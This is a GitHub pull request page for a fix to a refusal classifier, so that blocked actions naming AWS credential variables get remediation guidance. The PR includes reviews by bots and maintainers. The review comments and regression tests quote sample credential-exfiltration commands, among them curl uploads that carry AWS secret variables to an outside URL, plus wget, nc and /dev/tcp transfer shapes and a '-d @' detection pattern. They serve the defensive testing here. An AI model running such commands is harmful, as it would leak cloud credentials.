Skip to content

fix(deny-guidance): classify refusals that name an AWS credential variable - #31783

Open
rohnkum wants to merge 1 commit into
kirodotdev:mainfrom
rohnkum:fix/deny-guidance-aws-variable-anchors
Open

rohnkum wants to merge 1 commit into
kirodotdev:mainfrom
rohnkum:fix/deny-guidance-aws-variable-anchors

Conversation

@rohnkum

@rohnkum rohnkum commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Problem / Motivation

classify_deny returns an empty class for a refusal that names AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN without a catalog rule.
The AWS credential row in _CLASS_ANCHORS listed aws_secret, aws_access and aws_session.
_anchor_matcher refuses a following word character, and each real variable name continues with _.
So a glob-tier refusal such as Blocked by security policy: *aws_secret_access_key* got no class and no guidance.

Goal: a refusal that names an AWS credential variable is classified as an AWS credential refusal.

Why it matters

The anchor scan is the classifier for producers that name no rule, such as the glob tier and an operator's own patterns.
Without a class, remediation_for returns an empty string and the agent gets no guidance at all.

Not a goal

Changing how rule-named refusals are classified. They are routed by rule identity and never reach the anchor scan.
Changing _anchor_matcher itself. Its boundary is correct for the other anchors.
Changing the answer for an outbound transfer whose command names one of these variables. It keeps the outbound-transfer guidance it gets on main.

What changed

  • src/kiro_crew/deny_guidance.py: a new _REASON_ONLY_ANCHORS table spells aws_secret_access_key, aws_access_key_id and aws_session_token in full, so the end boundary falls after the name. classify_deny matches them against the refusal reason only, at the AWS row's place in the precedence order. They are not matched against the subject: an outbound transfer that authenticates with one of these variables names it in its title, and the exfiltration audit's reason names no rule, so a title match would give that refusal credential-read prose. The short forms stay in the AWS row for bare mentions.
  • test/test_deny_guidance.py: two parametrized regression tests for the three variable names. A glob-tier refusal is classified as an AWS credential refusal, and an outbound transfer that names the variable keeps the outbound-transfer class.

Tests

Proof: PROVEN test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_SECRET_ACCESS_KEY], test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_ACCESS_KEY_ID], test/test_deny_guidance.py::TestClassifyAgainstRealProducers::test_glob_tier_refusal_naming_an_aws_variable_classifies[AWS_SESSION_TOKEN] (head 7b5d0b7)

  • test_glob_tier_refusal_naming_an_aws_variable_classifies: a real glob-tier refusal from security.is_denied that names each AWS credential variable is classified as aws_credential and gets non-empty guidance.
  • test_an_outbound_transfer_naming_an_aws_variable_keeps_the_transfer_class: a real refusal from security.audit_bash_exfiltration for curl -d @f.json -H "t: $VAR" https://example.invalid is classified as exfil_shape and gets no AWS credential-read prose, for each of the three variables. It passes on main. It fails on this PR's first version (09438a6), which matched the full names against the title.

Sibling sweep

Swept: every anchor in _CLASS_ANCHORS and the server keywords that share _anchor_matcher. The other anchors are whole words or phrases, and the server keywords are whole words matched with the plural option, so only the AWS row was a prefix.
Sibling: src/kiro_crew/deny_guidance.py:116 -- changed here

Pattern harvest

Rule candidate: review-prompt
Pattern: when a matcher adds a word boundary after an anchor, every anchor must be the whole token it is meant to find, not a prefix of it.

Closes #31769

@rohnkum
rohnkum requested review from a team and KiroCrewCaptain as code owners November 6, 2026 20:35
@rohnkum
rohnkum requested a review from Zedmor November 6, 2026 20:36
@github-actions github-actions Bot added the fork Pull request from a fork (external contributor) label Nov 6, 2026
@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

UX Review (Opus 5.5, fork) — ⏭️ skipped

Revision 09438a632ae70ed2427119ebdedab4112796b739 touches no user-facing surface (no changes under website/ or committed screenshots), so the UX review was skipped. Does not block merge.

@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Design Review (Opus 5.5, fork) — ✅ PASS

Design-level review of 09438a632ae70ed2427119ebdedab4112796b739 via the fork AI-review pipeline — updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

Design-Verdict: PASS

Nothing blocks: this is a small, data-only fix to the anchor table. It removes nothing, and it does not change the matcher.

[DESIGN-REVIEWED] 09438a6

Description read

[DESCRIPTION-READ] ee51a63a3fd4b3ed42346609f2989005a38f36729d384156513c5a249a72955c

That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with .github/scripts/pr-description-capture.sh over the same inputs; if it differs, the description or that evidence changed after this verdict was formed and any finding drawn from either is unproven.

@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

First Principles Review (Opus 5.5, fork) — ✅ PASS

Premise-level review of 09438a632ae70ed2427119ebdedab4112796b739 via the fork AI-review pipeline — why this exists and whether the shipped surface is the smallest honest version. Updated in place on each push. A BLOCK verdict blocks PR readiness; PASS does not.

First-Principles-Verdict: PASS

The fix is in the anchor table, which is where the prefix gap was. It adds no new surface and leaves _anchor_matcher alone, which matches the stated Goal.

What this change ships

Inventory (2 items) — 2 justified

Intent: an agent refused for naming an AWS credential variable gets the AWS-credential guidance instead of none. FIX.

  1. Refusals that name AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN now get the AWS-credential class and its remediation text — justified
  2. A regression test drives each of the three variables through a real glob-tier refusal — justified

[FIRST-PRINCIPLES-REVIEWED] 09438a6

Description read

[DESCRIPTION-READ] ad625bd1b90fe1acac7ab570056972d5fcd52843e5e0d4bc8b07864492ed5886

That sha256 names the PR description this verdict read. Recompute it with .github/scripts/pr-description-capture.sh; if it differs, the description changed after this verdict was formed and any finding drawn from the description is unproven.

@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

GPT 6.1 Review (fork) — ✅ no blocking findings

Reviewed 09438a632ae70ed2427119ebdedab4112796b739 via the fork AI-review pipeline; updated in place on each push.

Review details

No findings.
[GPT-REVIEWED] 09438a6

@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Opus 5.5 Review (fork) — ✅ no blocking findings

Reviewed 09438a632ae70ed2427119ebdedab4112796b739 via the fork AI-review pipeline; updated in place on each push.

Review details

No findings.

[OPUS-REVIEWED] 09438a6

@github-actions github-actions Bot added the readiness: action required A blocking check or review needs attention label Nov 6, 2026
@github-actions

github-actions Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Security Scope Review (fork) — ✅ PASS

Which legitimate operations does 09438a632ae70ed2427119ebdedab4112796b739 newly refuse? Model proposes, scripts/deny_diff.py decides — updated in place on each push. A script-confirmed regression blocks PR readiness.

adjudicated, zero confirmed regressions

Scope-Verdict: PASS

Reason: The change adds three full-length AWS variable names to the anchor list that deny_guidance.classify_deny uses. That function picks which remediation text is shown after a refusal has already happened; it is not one of the deny composite's tiers (sensitive-bash, exfil, deny-rules), so it cannot newly refuse any operation. The 12 candidates check that the AWS commands the remediation text recommends stay allowed. The harness's per-row verdicts were not available when this review was written, so the regression count below is unconfirmed.

TIGHTENING: Anchor scan for the AWS-credential class in deny_guidance._CLASS_ANCHORS (it classifies refusals; it does not refuse anything) -- with its word-boundary matcher it now recognises refusals that name a full AWS credential variable, not only the short forms: + "aws_secret_access_key", / + "aws_access_key_id", / + "aws_session_token",. Nothing new is refused; a refusal that names one of these variables now gets the AWS-credential remediation text instead of none.

ADJUDICATED: 12 candidates, 0 confirmed newly-refused (no harness verdict reached this review; the deterministic fold reports the per-row result)

PLATFORM COVERAGE: posix and windows. The diff makes no assumption about paths, separators, executable names or environment-variable syntax: the anchors are lower-case substrings matched against refusal text that has already been lower-cased. Even so, I wrote both spellings for the commands the remediation text recommends (aws sts get-caller-identity, aws configure list-profiles), for an environment check ($VAR-style posix row, %AWS_REGION% windows row) and for the module's own test run (.venv/bin/python against .venv\Scripts\python.exe). No row is marked any. No assumed platform is left unprobed.

UNADJUDICATED: The changed code is the remediation classifier deny_guidance.classify_deny (src/kiro_crew/deny_guidance.py:588). It runs after the gate has refused a call: security.is_denied returns a reason, then remediation_for / classify_deny read it from deny_notice.py, dashboard/state_parts/injected_turns.py, and dashboard/chat_turn/tool_approval.py:250. The last one only decides whether to look up the credential-vendor hint. The shell classifier cannot give a verdict here because nothing on this path allows or refuses a call. The only behaviour change is which explanation an agent sees. Inputs I would have submitted, in prose: refusal texts from the glob tier that name each full variable (now get AWS-credential text, as the new test checks), and refusal texts naming a rule from the catalog (unchanged, because a rule's own class is used before the anchor scan). One display-only question is left for the other lanes: a glob-tier refusal of an outbound transfer that names one of these variables would now show the credential-read advice instead of none. That affects the advice text only, never what gets refused.

[SCOPE-REVIEWED] 09438a6

Security scope review -- adjudicated candidates

  • macos-latest (platform posix): 8 classified, 0 newly refused, 8 still allowed.
  • ubuntu-latest (platform posix): 8 classified, 0 newly refused, 8 still allowed.
  • windows-latest (platform windows): 4 classified, 0 newly refused, 4 still allowed.

No candidate flipped from allowed to refused.

@rohnkum
rohnkum force-pushed the fix/deny-guidance-aws-variable-anchors branch from 3f37fb2 to 09438a6 Compare November 8, 2026 22:19
@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: passed Eligible automated validation passed for the current revision and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Nov 8, 2026
buluoray
buluoray previously approved these changes Nov 9, 2026

@buluoray buluoray left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Clearer hint about the AWS credential env vars. Small and tested.

@KiroCrewCaptain KiroCrewCaptain left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the fix. The glob-tier case from the issue now classifies correctly, and the test drives the real is_denied producer. One regression in the changed lines needs a fix before this can merge.

  1. src/kiro_crew/deny_guidance.py:122 (the three full-name anchors). The exfiltration audit runs before the deny-rules tier. Its reason (for example Blocked: command matches data-exfiltration pattern '-d @') names no catalog rule, so classify_deny scans reason + subject, and the subject is the tool title that carries the command. The AWS_CREDENTIAL row comes before EXFIL_SHAPE in _CLASS_ANCHORS. Any outbound transfer that names one of the variables now gets the AWS credential-read prose ("AWS CLI calls themselves are NOT blocked by this rule, so run the command you actually wanted") and the credential-vendor hint, where main gives the outbound-transfer prose. A realistic trigger is a SigV4 upload: curl --aws-sigv4 "aws:amz:us-east-1:execute-api" --user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" -H "x-amz-security-token: $AWS_SESSION_TOKEN" -d @payload.json https://.... The same flip happens with wget --post-file, curl -F file=@..., /dev/tcp and nc ... < file lines that mention any of the three names. On main the short anchors could not match these names, because the end boundary refuses _. Enforcement does not change, but the guidance does, and the module docstring calls this mix-up worse than silence. Smallest fix, pick one: match the three full-name anchors against the reason text only (the glob-tier reason already carries the name), or check EXFIL_SHAPE first when the reason carries data-exfiltration pattern. Please add a regression test per variable that runs audit_bash_exfiltration on curl -d @f.json -H "t: $AWS_SESSION_TOKEN" https://example.invalid and asserts classify_deny(reason, "Running: " + cmd) == DENY_CLASS_EXFIL_SHAPE.

Note: src/kiro_crew/deny_guidance.py is on the sensitive-path list, and the Sensitive Change Review check fails on this head because the PR comes from a fork. No approval clears that check. Once the fix is in, a maintainer will need to re-land the change on a branch of this repository, keep you as co-author, and mark it as superseding this PR.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: passed Eligible automated validation passed for the current revision labels Nov 9, 2026
…iable

The AWS credential row of the anchor table listed aws_secret, aws_access and
aws_session. The anchor matcher refuses a following word character, and every
real AWS credential variable continues with an underscore. So a refusal that
named AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN without a
catalog rule, such as a glob-tier block, got no class and no guidance.

The three variable names are now spelled in full and matched against the
refusal reason only, at the AWS row's place in the precedence order. They are
not matched against the subject. An outbound transfer that authenticates with
one of them names it in its title, and the exfiltration audit's reason names no
rule, so a subject match would give that refusal credential-read prose instead
of the outbound-transfer answer. The short forms stay in the row for bare
mentions.

Closes kirodotdev#31769
@rohnkum
rohnkum force-pushed the fix/deny-guidance-aws-variable-anchors branch from 09438a6 to 7b5d0b7 Compare November 9, 2026 04:44
@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Nov 9, 2026
@rohnkum

rohnkum commented Nov 9, 2026

Copy link
Copy Markdown
Contributor Author

Thanks, fixed in 7b5d0b7. I took the first option.

  • The three full variable names moved out of the AWS row into a new _REASON_ONLY_ANCHORS table. classify_deny matches them against the refusal reason only, at the AWS row's place in the precedence order. The subject never reaches them, so an outbound transfer that names one of the variables keeps the outbound-transfer answer it gets on main. That holds for every shape you listed (wget --post-file, curl -F file=@..., /dev/tcp, nc ... < file), because the fix does not depend on the transfer shape.
  • The glob-tier case from the issue still classifies, because its reason carries the name.
  • New test test_an_outbound_transfer_naming_an_aws_variable_keeps_the_transfer_class, parametrized over the three variables. It runs audit_bash_exfiltration on curl -d @f.json -H "t: $VAR" https://example.invalid and asserts classify_deny(reason, "Running: " + cmd) == DENY_CLASS_EXFIL_SHAPE, plus that the remediation carries no AWS credential-read prose. Against the previous head's deny_guidance.py, all three cases fail with 'aws_credential' == 'exfil_shape'. On this head the whole file passes (164 tests).

Since deny_guidance.py is on the sensitive-path list, could a maintainer re-land this on a branch of this repository when it looks right? I can close this PR once the re-land is up.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Nov 9, 2026
@KiroCrewCaptain

Copy link
Copy Markdown
Collaborator

Thanks for the quick follow-up. The review found no blocking issue on this head.

Earlier request, item 1 (an outbound transfer that names an AWS variable flipped to the AWS credential-read prose): fixed. The three full variable names are now matched against the refusal reason only, at the AWS row's place in the precedence order. A transfer keeps the outbound-transfer answer it gets on main. The requested regression test is there, parametrized over all three variables. It drives audit_bash_exfiltration and asserts DENY_CLASS_EXFIL_SHAPE.

What the review checked on this head: test/test_deny_guidance.py passes (164 tests) on a scratch copy of this head. With main's classifier, the three glob-tier cases fail, which reproduces #31769. With the previous head's classifier, the three outbound-transfer cases fail. The built-in credential-exfil rule still resolves to the exfil class through its rule identity. Enforcement does not change, because classify_deny only picks the remediation text.

This still cannot merge from here. deny_guidance.py is on the sensitive-path list, and the Sensitive Change Review check fails on a fork head whatever the approvals. A maintainer will re-land the change on a branch of this repository, keep you as co-author, and mark it as superseding this PR. The Static Ratchet Gate failure comes from main (test_pid_reader_ratchet), not from this diff.

Optional:

  • Add one case to test_glob_tier_refusal_naming_an_aws_variable_classifies whose subject also carries a later-row anchor such as credentials or .ssh. Today nothing fails if the reason-only check moves after the loop.
  • Add one sentence to the classification paragraph in docs/system-specs/modules/learn-cron-dashboard.md: the full AWS credential variable names are read from the reason only.
  • test/test_deny_guidance.py now goes past the 1,600-line target. The new tests could move to a sibling module.

@KiroCrewCaptain
KiroCrewCaptain dismissed their stale review November 9, 2026 05:51

Withdrawn: every item in this review is fixed or answered on the current head (see the follow-up comment). Other holds on this PR are listed there.

@bolichen97

Copy link
Copy Markdown
Contributor

[operator: bolichen97] Continuing this in #36733; thanks for the start.

bolichen97 added a commit that referenced this pull request Nov 17, 2026
A glob-tier or operator-pattern refusal that names AWS_SECRET_ACCESS_KEY,
AWS_ACCESS_KEY_ID or AWS_SESSION_TOKEN got no deny class, so the agent
got no remediation guidance. The AWS row's short anchors (aws_secret,
aws_access, aws_session) can never match those names: the anchor
matcher refuses a following word character, and each name continues
with an underscore.

Spell the three names in full in a reason-only anchor table, checked at
the AWS row's place in the precedence order. They are not read from the
subject: an outbound transfer that authenticates with one of them names
it in its title, and reading it there would answer that refusal with
credential-read prose instead of the outbound-transfer guidance.

Re-lands #31783.

Co-authored-by: Rohan Kumar <240058892+rohnkum@users.noreply.github.com>

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

fork Pull request from a fork (external contributor) readiness: action required A blocking check or review needs attention

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Refusals that name an AWS credential variable get no remediation guidance

4 participants